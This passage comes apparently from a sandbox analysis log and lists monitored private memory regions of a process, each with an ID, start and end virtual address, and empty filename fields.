entry_point = 0x0 region_type = private name = "private_0x000000001dae0000" filename = "" Region: id = 9593 start_va = 0x1daf0000 end_va = 0x1dafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001daf0000" filename = "" Region: id = 9594 start_va = 0x1db00000 end_va = 0x1db0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db00000" filename = "" Region: id = 9595 start_va = 0x1db10000 end_va = 0x1db1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db10000" filename = "" Region: id = 9596 start_va = 0x1db20000 end_va = 0x1db2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db20000" filename = "" Region: id = 9597 start_va = 0x1db30000 end_va = 0x1db3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db30000" filename = "" Region: id = 9598 start_va = 0x1db90000 end_va = 0x1db9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db90000" filename = "" Region: id = 9599 start_va = 0x1dba0000 end_va = 0x1dbaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dba0000" filename = "" Region: id = 9600 start_va = 0x1db30000 end_va = 0x1db3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db30000" filename = "" Region: id = 9601 start_va = 0x1db90000 end_va = 0x1db9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db90000" filename = "" Region: id = 9602 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9603 start_va = 0x1dae0000 end_va = 0x1daeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dae0000" filename = "" Region: id = 9604 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9605 start_va = 0x1dae0000 end_va = 0x1daeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dae0000" filename = "" Region: id = 9606 start_va = 0x1daf0000 end_va = 0x1dafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001daf0000" filename = "" Region: id = 9607 start_va = 0x1db00000 end_va = 0x1db0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db00000" filename = "" Region: id = 9608 start_va = 0x1db10000 end_va = 0x1db1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db10000" filename = "" Region: id = 9609 start_va = 0x1db20000 end_va = 0x1db2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db20000" filename = "" Region: id = 9610 start_va = 0x1dba0000 end_va = 0x1dbaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dba0000" filename = "" Region: id = 9611 start_va = 0x1dbb0000 end_va = 0x1dbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dbb0000" filename = "" Region: id = 9612 start_va = 0x1dbd0000 end_va = 0x1dbeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dbd0000" filename = "" Region: id = 9613 start_va = 0x1dbf0000 end_va = 0x1dc1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dbf0000" filename = "" Region: id = 9614 start_va = 0x1dc20000 end_va = 0x1dc2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc20000" filename = "" Region: id = 9615 start_va = 0x1dc30000 end_va = 0x1dc3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc30000" filename = "" Region: id = 9616 start_va = 0x1dc40000 end_va = 0x1dc4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc40000" filename = "" Region: id = 9617 start_va = 0x1dc50000 end_va = 0x1dc5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc50000" filename = "" Region: id = 9618 start_va = 0x1dc60000 end_va = 0x1dc6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc60000" filename = "" Region: id = 9619 start_va = 0x1dd80000 end_va = 0x1dd8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dd80000" filename = "" Region: id = 9620 start_va = 0x1dd90000 end_va = 0x1dd9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dd90000" filename = "" Region: id = 9621 start_va = 0x1dda0000 end_va = 0x1ddaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dda0000" filename = "" Region: id = 9622 start_va = 0x1ddb0000 end_va = 0x1ddbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ddb0000" filename = "" Region: id = 9623 start_va = 0x1ddc0000 end_va = 0x1ddcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ddc0000" filename = "" Region: id = 9624 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9625 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9626 start_va = 0x1ddb0000 end_va = 0x1ddbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ddb0000" filename = "" Region: id = 9627 start_va = 0x1ddc0000 end_va = 0x1ddcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ddc0000" filename = "" Region: id = 9628 start_va = 0x1ddd0000 end_va = 0x1dddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ddd0000" filename = "" Region: id = 9629 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9630 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9631 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9632 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9633 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9634 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9635 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9636 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9637 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9638 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9639 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9640 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9641 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9642 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9643 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9644 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9645 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9646 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9647 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9648 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9649 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9650 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9651 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9652 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9653 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9654 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9655 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9661 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9662 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9663 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9664 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9667 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9668 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9669 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9670 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9671 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9672 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9673 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9674 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9675 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9676 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9677 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9678 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9679 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9680 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9681 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9682 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9683 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9684 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9685 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9686 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 9687 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 9688 start_va = 0x1d850000 end_va = 0x1d85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d850000" filename = "" Region: id = 9689 start_va = 0x1d8b0000 end_va = 0x1d8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8b0000" filename = "" Region: id = 9690 start_va = 0x1d8c0000 end_va = 0x1d8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8c0000" filename = "" Region: id = 9691 start_va = 0x1d8d0000 end_va = 0x1d8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8d0000" filename = "" Region: id = 9692 start_va = 0x1dae0000 end_va = 0x1daeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dae0000" filename = "" Region: id = 9693 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9694 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9695 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9696 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9701 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9702 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9703 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9704 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9705 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9706 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9707 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9708 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9709 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 9710 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 9711 start_va = 0x1d850000 end_va = 0x1d85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d850000" filename = "" Region: id = 9712 start_va = 0x1d8b0000 end_va = 0x1d8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8b0000" filename = "" Region: id = 9713 start_va = 0x1d8c0000 end_va = 0x1d8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8c0000" filename = "" Region: id = 9714 start_va = 0x1d8d0000 end_va = 0x1d8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8d0000" filename = "" Region: id = 9715 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9716 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9718 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9719 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9720 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9721 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9722 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9723 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9724 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9725 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9726 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9727 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9728 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9729 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9730 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9731 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9732 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9733 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9734 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9735 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9736 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9737 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9738 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9739 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9740 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9741 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9742 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9743 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9744 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9745 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9746 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9747 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9748 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9749 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 9750 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 9751 start_va = 0x1d850000 end_va = 0x1d85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d850000" filename = "" Region: id = 9752 start_va = 0x1d8b0000 end_va = 0x1d8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8b0000" filename = "" Region: id = 9753 start_va = 0x1d8c0000 end_va = 0x1d8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8c0000" filename = "" Region: id = 9754 start_va = 0x1d8d0000 end_va = 0x1d8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8d0000" filename = "" Region: id = 9755 start_va = 0x1dae0000 end_va = 0x1daeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dae0000" filename = "" Region: id = 9756 start_va = 0x1daf0000 end_va = 0x1dafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001daf0000" filename = "" Region: id = 9759 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9760 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9761 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9762 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9763 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9764 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9765 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9766 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9767 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9768 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9769 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9770 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9771 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9772 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9773 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9774 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9775 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9776 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 9777 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 9778 start_va = 0x1d850000 end_va = 0x1d85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d850000" filename = "" Region: id = 9779 start_va = 0x1d8b0000 end_va = 0x1d8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8b0000" filename = "" Region: id = 9783 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9784 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9785 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9786 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9787 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9789 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9790 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9791 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9792 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9793 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9794 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9795 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9796 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9797 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9798 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9799 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9800 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9801 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9802 start_va = 